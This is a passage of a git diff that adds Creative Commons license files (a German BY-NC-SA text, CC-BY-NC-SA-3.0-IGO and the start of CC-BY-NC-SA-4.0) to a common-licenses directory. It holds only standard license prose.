+ d. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.d) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ e. Die oben unter 4.a) bis d) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ f. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, behält sich der Lizenzgeber das ausschließliche Recht auf Einziehung der entsprechenden Vergütung für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.c) als nicht-kommerziell definierten Zwecke vornehmen, verzichtet für alle übrigen, lizenzgerechten Fälle von Nutzung jedoch auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre. Der Lizenzgeber behält sich jedoch das ausschließliche Recht auf Einziehung der entsprechenden Vergütung (durch ihn selbst oder eine Verwertungsgesellschaft) für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.c) als nicht-kommerziell definierten Zwecke vornehmen.
+
+ g. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
+ a. Diese Lizenz und die durch sie eingeräumten Nutzungsrechte erlöschen mit Wirkung für die Zukunft im Falle eines Verstoßes gegen die Lizenzbedingungen durch Sie, ohne dass es dazu der Kenntnis des Lizenzgebers vom Verstoß oder einer weiteren Handlung einer der Vertragsparteien bedarf. Mit natürlichen oder juristischen Personen, die Abwandlungen des Schutzgegenstandes oder diesen enthaltende Sammelwerke unter den Bedingungen dieser Lizenz von Ihnen erhalten haben, bestehen nachträglich entstandene Lizenzbeziehungen jedoch solange weiter, wie die genannten Personen sich ihrerseits an sämtliche Lizenzbedingungen halten. Darüber hinaus gelten die Ziffern 1, 2, 5, 6, 7, und 8 auch nach einem Erlöschen dieser Lizenz fort.
+
+ b. Vorbehaltlich der oben genannten Bedingungen gilt diese Lizenz unbefristet bis der rechtliche Schutz für den Schutzgegenstand ausläuft. Davon abgesehen behält der Lizenzgeber das Recht, den Schutzgegenstand unter anderen Lizenzbedingungen anzubieten oder die eigene Weitergabe des Schutzgegenstandes jederzeit einzustellen, solange die Ausübung dieses Rechts nicht einer Kündigung oder einem Widerruf dieser Lizenz (oder irgendeiner Weiterlizenzierung, die auf Grundlage dieser Lizenz bereits erfolgt ist bzw. zukünftig noch erfolgen muss) dient und diese Lizenz unter Berücksichtigung der oben zum Erlöschen genannten Bedingungen vollumfänglich wirksam bleibt.
+
+8. Sonstige Bestimmungen
+
+ a. Jedes Mal wenn Sie den Schutzgegenstand für sich genommen oder als Teil eines Sammelwerkes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ b. Jedes Mal wenn Sie eine Abwandlung des Schutzgegenstandes verbreiten oder öffentlich zeigen, bietet der Lizenzgeber dem Empfänger eine Lizenz am ursprünglichen Schutzgegenstand zu den gleichen Bedingungen und im gleichen Umfang an, wie Ihnen in Form dieser Lizenz.
+
+ c. Sollte eine Bestimmung dieser Lizenz unwirksam sein, so bleibt davon die Wirksamkeit der Lizenz im Übrigen unberührt.
+
+ d. Keine Bestimmung dieser Lizenz soll als abbedungen und kein Verstoß gegen sie als zulässig gelten, solange die von dem Verzicht oder von dem Verstoß betroffene Seite nicht schriftlich zugestimmt hat.
+
+ e. Diese Lizenz (zusammen mit in ihr ausdrücklich vorgesehenen Erlaubnissen, Mitteilungen und Zustimmungen, soweit diese tatsächlich vorliegen) stellt die vollständige Vereinbarung zwischen dem Lizenzgeber und Ihnen in Bezug auf den Schutzgegenstand dar. Es bestehen keine Abreden, Vereinbarungen oder Erklärungen in Bezug auf den Schutzgegenstand, die in dieser Lizenz nicht genannt sind. Rechtsgeschäftliche Änderungen des Verhältnisses zwischen dem Lizenzgeber und Ihnen sind nur über Modifikationen dieser Lizenz möglich. Der Lizenzgeber ist an etwaige zusätzliche, einseitig durch Sie übermittelte Bestimmungen nicht gebunden. Diese Lizenz kann nur durch schriftliche Vereinbarung zwischen Ihnen und dem Lizenzgeber modifiziert werden. Derlei Modifikationen wirken ausschließlich zwischen dem Lizenzgeber und Ihnen und wirken sich nicht auf die Dritten gemäß Ziffern 8.a) und b) angeboteten Lizenzen aus.
+
+ f. Sofern zwischen Ihnen und dem Lizenzgeber keine anderweitige Vereinbarung getroffen wurde und soweit Wahlfreiheit besteht, findet auf diesen Lizenzvertrag das Recht der Bundesrepublik Deutschland Anwendung.
+
+Creative Commons Notice
+
+Creative Commons ist nicht Partei dieser Lizenz und übernimmt keinerlei Gewähr oder dergleichen in Bezug auf den Schutzgegenstand. Creative Commons haftet Ihnen oder einer anderen Partei unter keinem rechtlichen Gesichtspunkt für irgendwelche Schäden, die - abstrakt oder konkret, zufällig oder vorhersehbar - im Zusammenhang mit dieser Lizenz entstehen. Unbeschadet der vorangegangen beiden Sätze, hat Creative Commons alle Rechte und Pflichten eines Lizenzgebers, wenn es sich ausdrücklich als Lizenzgeber im Sinne dieser Lizenz bezeichnet.
+
+Creative Commons gewährt den Parteien nur insoweit das Recht, das Logo und die Marke "Creative Commons" zu nutzen, als dies notwendig ist, um der Öffentlichkeit gegenüber kenntlich zu machen, dass der Schutzgegenstand unter einer CCPL steht. Ein darüber hinaus gehender Gebrauch der Marke "Creative Commons" oder einer verwandten Marke oder eines verwandten Logos bedarf der vorherigen schriftlichen Zustimmung von Creative Commons. Jeder erlaubte Gebrauch richtet sich nach der Creative Commons Marken-Nutzungs-Richtlinie in der jeweils aktuellen Fassung, die von Zeit zu Zeit auf der Website veröffentlicht oder auf andere Weise auf Anfrage zugänglich gemacht wird. Zur Klarstellung: Die genannten Einschränkungen der Markennutzung sind nicht Bestandteil dieser Lizenz.
+
+Creative Commons kann kontaktiert werden über https://creativecommons.org/.
+
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO b/meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO
new file mode 100644
index 0000000000..e03be0e88e
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-3.0-IGO
@@ -0,0 +1,105 @@
+Attribution-NonCommercial-ShareAlike 3.0 IGO
+
+CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE. THE LICENSOR IS NOT NECESSARILY AN INTERGOVERNMENTAL ORGANIZATION (IGO), AS DEFINED IN THE LICENSE BELOW.
+
+License
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE (“LICENSE”). THE LICENSOR (DEFINED BELOW) HOLDS COPYRIGHT AND OTHER RIGHTS IN THE WORK. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE IS PROHIBITED. BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION FOR YOUR ACCEPTANCE AND AGREEMENT TO THE TERMS OF THE LICENSE.
+
+1. Definitions
+
+ a. "IGO" means, solely and exclusively for purposes of this License, an organization established by a treaty or other instrument governed by international law and possessing its own international legal personality. Other organizations established to carry out activities across national borders and that accordingly enjoy immunity from legal process are also IGOs for the sole and exclusive purposes of this License. IGOs may include as members, in addition to states, other entities.
+
+ b. "Work" means the literary and/or artistic work eligible for copyright protection, whatever may be the mode or form of its expression including digital form, and offered under the terms of this License. It is understood that a database, which by reason of the selection and arrangement of its contents constitutes an intellectual creation, is considered a Work.
+
+ c. "Licensor" means the individual, individuals, entity or entities that offer(s) the Work under the terms of this License and may be, but is not necessarily, an IGO.
+
+ d. "You" means an individual or entity exercising rights under this License.
+
+ e. "License Elements" means the following high-level license attributes as selected by the Licensor and indicated in the title of this License: Attribution, Noncommercial, ShareAlike.
+
+ f. "Reproduce" means to make a copy of the Work in any manner or form, and by any means.
+
+ g. "Distribute" means the activity of making publicly available the Work or Adaptation (or copies of the Work or Adaptation), as applicable, by sale, rental, public lending or any other known form of transfer of ownership or possession of the Work or copy of the Work.
+
+ h. "Publicly Perform" means to perform public recitations of the Work and to communicate to the public those public recitations, by any means or process, including by wire or wireless means or public digital performances; to make available to the public Works in such a way that members of the public may access these Works from a place and at a place individually chosen by them; to perform the Work to the public by any means or process and the communication to the public of the performances of the Work, including by public digital performance; to broadcast and rebroadcast the Work by any means including signs, sounds or images.
+
+ i. "Adaptation" means a work derived from or based upon the Work, or upon the Work and other pre-existing works. Adaptations may include works such as translations, derivative works, or any alterations and arrangements of any kind involving the Work. For purposes of this License, where the Work is a musical work, performance, or phonogram, the synchronization of the Work in timed-relation with a moving image is an Adaptation. For the avoidance of doubt, including the Work in a Collection is not an Adaptation.
+
+ j. "Collection" means a collection of literary or artistic works or other works or subject matter other than works listed in Section 1(b) which by reason of the selection and arrangement of their contents, constitute intellectual creations, in which the Work is included in its entirety in unmodified form along with one or more other contributions, each constituting separate and independent works in themselves, which together are assembled into a collective whole. For the avoidance of doubt, a Collection will not be considered as an Adaptation.
+
+2. Scope of this License. Nothing in this License is intended to reduce, limit, or restrict any uses free from copyright protection.
+
+3. License Grant. Subject to the terms and conditions of this License, the Licensor hereby grants You a worldwide, royalty-free, non-exclusive license to exercise the rights in the Work as follows:
+
+ a. to Reproduce, Distribute and Publicly Perform the Work, to incorporate the Work into one or more Collections, and to Reproduce, Distribute and Publicly Perform the Work as incorporated in the Collections; and,
+
+ b. to create, Reproduce, Distribute and Publicly Perform Adaptations, provided that You clearly label, demarcate or otherwise identify that changes were made to the original Work.
+
+This License lasts for the duration of the term of the copyright in the Work licensed by the Licensor. The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to the rights set forth in Section 4(e).
+
+4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions:
+
+ a. You may Distribute or Publicly Perform the Work only under the terms of this License. You must include a copy of, or the Uniform Resource Identifier (URI) for, this License with every copy of the Work You Distribute or Publicly Perform. You may not offer or impose any terms on the Work that restrict the terms of this License or the ability of the recipient of the Work to exercise the rights granted to that recipient under the terms of the License. You may not sublicense the Work (see section 8(a)). You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work You Distribute or Publicly Perform. When You Distribute or Publicly Perform the Work, You may not impose any effective technological measures on the Work that restrict the ability of a recipient of the Work from You to exercise the rights granted to that recipient under the terms of the License. This Section 4(a) applies to the Work as incorporated in a Collection, but this does not require the Collection apart from the Work itself to be made subject to the terms of this License. If You create a Collection, upon notice from a Licensor You must, to the extent practicable, remove from the Collection any credit (inclusive of any logo, trademark, official mark or official emblem) as required by Section 4(d), as requested. If You create an Adaptation, upon notice from a Licensor You must, to the extent practicable, remove from the Adaptation any credit (inclusive of any logo, trademark, official mark or official emblem) as required by Section 4(d), as requested.
+
+ b. You may Distribute or Publicly Perform an Adaptation only under the terms of: (i) this License; (ii) a later version of this License with the same License Elements as this License; or (iii) either the unported Creative Commons license or a ported Creative Commons license (either this or a later license version) containing the same License Elements (the “Applicable License”). (I) You must include a copy of, or the URI for, the Applicable License with every copy of each Adaptation You Distribute or Publicly Perform. (II) You may not offer or impose any terms on the Adaptation that restrict the terms of the Applicable License or the ability of the recipient of the Adaptation to exercise the rights granted to that recipient under the terms of the Applicable License. (III) You must keep intact all notices that refer to this License and to the disclaimer of warranties with every copy of the Work as included in the Adaptation You Distribute or Publicly Perform. (IV) When You Distribute or Publicly Perform the Adaptation, You may not impose any effective technological measures on the Adaptation that restrict the ability of a recipient of the Adaptation from You to exercise the rights granted to that recipient under the terms of the Applicable License. This Section 4(b) applies to the Adaptation as incorporated in a Collection, but this does not require the Collection apart from the Adaptation itself to be made subject to the terms of the Applicable License.
+
+ c. You may not exercise any of the rights granted to You in Section 3 above in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation. The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be primarily intended for or directed toward commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works.
+
+ d. If You Distribute, or Publicly Perform the Work or any Adaptations or Collections, You must, unless a request has been made pursuant to Section 4(a), keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) any attributions that the Licensor indicates be associated with the Work as indicated in a copyright notice, (ii) the title of the Work if supplied; (iii) to the extent reasonably practicable, the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and, (iv) consistent with Section 3(b), in the case of an Adaptation, a credit identifying the use of the Work in the Adaptation. The credit required by this Section 4(d) may be implemented in any reasonable manner; provided, however, that in the case of an Adaptation or Collection, at a minimum such credit will appear, if a credit for all contributors to the Adaptation or Collection appears, then as part of these credits and in a manner at least as prominent as the credits for the other contributors. For the avoidance of doubt, You may only use the credit required by this Section for the purpose of attribution in the manner set out above and, by exercising Your rights under this License, You may not implicitly or explicitly assert or imply any connection with, sponsorship or endorsement by the Licensor or others designated for attribution, of You or Your use of the Work, without the separate, express prior written permission of the Licensor or such others.
+
+ e. For the avoidance of doubt:
+
+ i. Non-waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme cannot be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License;
+
+ ii. Waivable Compulsory License Schemes. In those jurisdictions in which the right to collect royalties through any statutory or compulsory licensing scheme can be waived, the Licensor reserves the exclusive right to collect such royalties for any exercise by You of the rights granted under this License if Your exercise of such rights is for a purpose or use which is otherwise than noncommercial as permitted under Section 4(c) and otherwise waives the right to collect royalties through any statutory or compulsory licensing scheme; and,
+
+ iii. Voluntary License Schemes. To the extent possible, the Licensor waives the right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary licensing scheme. In all other cases the Licensor expressly reserves the right to collect such royalties.
+
+ f. Except as otherwise agreed in writing by the Licensor, if You Reproduce, Distribute or Publicly Perform the Work either by itself or as part of any Adaptations or Collections, You must not distort, mutilate, modify or take other derogatory action in relation to the Work which would be prejudicial to the honor or reputation of the Licensor where moral rights apply.
+
+5. Representations, Warranties and Disclaimer
+
+THE LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE.
+
+6. Limitation on Liability
+
+IN NO EVENT WILL THE LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF THE LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+7. Termination
+
+ a. Subject to the terms and conditions set forth in this License, the license granted here lasts for the duration of the term of the copyright in the Work licensed by the Licensor as stated in Section 3. Notwithstanding the above, the Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated below.
+
+ b. If You fail to comply with this License, then this License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Adaptations or Collections from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License. Notwithstanding the foregoing, this License reinstates automatically as of the date the violation is cured, provided it is cured within 30 days of You discovering the violation, or upon express reinstatement by the Licensor. For the avoidance of doubt, this Section 7(b) does not affect any rights the Licensor may have to seek remedies for violations of this License by You.
+
+8. Miscellaneous
+
+ a. Each time You Distribute or Publicly Perform the Work or a Collection, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License.
+
+ b Each time You Distribute or Publicly Perform an Adaptation, the Licensor offers to the recipient a license to the original Work on the same terms and conditions as the license granted to You under this License.
+
+ c. If any provision of this License is invalid or unenforceable, it shall not affect the validity or enforceability of the remainder of the terms of this License, and without further action, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable.
+
+ d. No term or provision of this License shall be deemed waived and no breach consented to unless such waiver or consent shall be in writing and signed by the Licensor.
+
+ e. This License constitutes the entire agreement between You and the Licensor with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication from You. This License may not be modified without the mutual written agreement of the Licensor and You.
+
+ f. The rights granted under, and the subject matter referenced, in this License were drafted utilizing the terminology of the Berne Convention for the Protection of Literary and Artistic Works (as amended on September 28, 1979), the Rome Convention of 1961, the WIPO Copyright Treaty of 1996, the WIPO Performances and Phonograms Treaty of 1996 and the Universal Copyright Convention (as revised on July 24, 1971). Interpretation of the scope of the rights granted by the Licensor and the conditions imposed on You under this License, this License, and the rights and conditions set forth herein shall be made with reference to copyright as determined in accordance with general principles of international law, including the above mentioned conventions.
+
+ g. Nothing in this License constitutes or may be interpreted as a limitation upon or waiver of any privileges and immunities that may apply to the Licensor or You, including immunity from the legal processes of any jurisdiction, national court or other authority.
+
+ h. Where the Licensor is an IGO, any and all disputes arising under this License that cannot be settled amicably shall be resolved in accordance with the following procedure:
+
+ i. Pursuant to a notice of mediation communicated by reasonable means by either You or the Licensor to the other, the dispute shall be submitted to non-binding mediation conducted in accordance with rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with those communicated in the notice of mediation. The language used in the mediation proceedings shall be English unless otherwise agreed.
+
+ ii. If any such dispute has not been settled within 45 days following the date on which the notice of mediation is provided, either You or the Licensor may, pursuant to a notice of arbitration communicated by reasonable means to the other, elect to have the dispute referred to and finally determined by arbitration. The arbitration shall be conducted in accordance with the rules designated by the Licensor in the copyright notice published with the Work, or if none then in accordance with the UNCITRAL Arbitration Rules as then in force. The arbitral tribunal shall consist of a sole arbitrator and the language of the proceedings shall be English unless otherwise agreed. The place of arbitration shall be where the Licensor has its headquarters. The arbitral proceedings shall be conducted remotely (e.g., via telephone conference or written submissions) whenever practicable.
+
+ iii. Interpretation of this License in any dispute submitted to mediation or arbitration shall be as set forth in Section 8(f), above.
+
+Creative Commons Notice
+
+Creative Commons is not a party to this License, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this license. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of the Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, Creative Commons does not authorize the use by either party of the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time. For the avoidance of doubt, this trademark restriction does not form part of this License.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-4.0 b/meta/files/common-licenses/CC-BY-NC-SA-4.0
new file mode 100644
index 0000000000..baee873b67
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-4.0
@@ -0,0 +1,170 @@
+Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International
+
+ Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible.
+
+Using Creative Commons Public Licenses
+
+Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses.
+
+Considerations for licensors: Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. More considerations for licensors.
+
+Considerations for the public: By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. More considerations for the public.
+
+Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Public License
+
+By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
+
+Section 1 – Definitions.
+
+ a. Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
+
+ b. Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
+
+ c. BY-NC-SA Compatible License means a license listed at creativecommons.org/compatiblelicenses, approved by Creative Commons as essentially the equivalent of this Public License.
+
+ d. Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
+
+ e. Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
+
+ f. Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
+
+ g. License Elements means the license attributes listed in the name of a Creative Commons Public License. The License Elements of this Public License are Attribution, NonCommercial, and ShareAlike.
+
+ h. Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
+
+ i. Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
+
+ j. Licensor means the individual(s) or entity(ies) granting rights under this Public License.
+
+ k. NonCommercial means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange.
+
+ l. Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
+
+ m. Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
+
+ n. You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
+
+Section 2 – Scope.
+
+ a. License grant.
+
+ 1. Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
+
+ A. reproduce and Share the Licensed Material, in whole or in part, for NonCommercial purposes only; and
+
+ B. produce, reproduce, and Share Adapted Material for NonCommercial purposes only.
+
+ 2. Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
+
+ 3. Term. The term of this Public License is specified in Section 6(a).
+
